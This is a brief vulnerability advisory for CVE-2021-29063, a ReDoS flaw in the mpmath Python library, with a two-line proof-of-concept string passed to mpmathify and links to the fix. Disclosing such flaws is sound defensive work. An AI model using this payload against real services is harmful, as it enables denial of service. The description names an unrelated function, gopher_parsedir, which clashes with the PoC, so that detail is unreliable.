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yetingli Update Mpmath.md

🕒 History

🔍 1 contributor

⋮ 28 lines (16 sloc) | 591 Bytes ⋮

CVE-2021-29063

Package

mpmath

Overview

mpmath is Python library for arbitrary-precision floating-point arithmetic.

Regular Expression Denial of Service (ReDOS) in Mpmath v1.0.0.

Passing specific string to gopher_parsedir may result in long excessively long evaluation by the regex used inside the function.

Proof of Concept

```
from mpmath import mpmathify
mpmathify("(" + "1" * 5000 + "j!")
```

GitHub Commit

<https://github.com/vks/mpmath/commit/c811b37c65a4372a7ce61311d2a508c204f9833>

GitHub PR

[mpmath/mpmath#570](https://github.com/vks/mpmath/pull/570)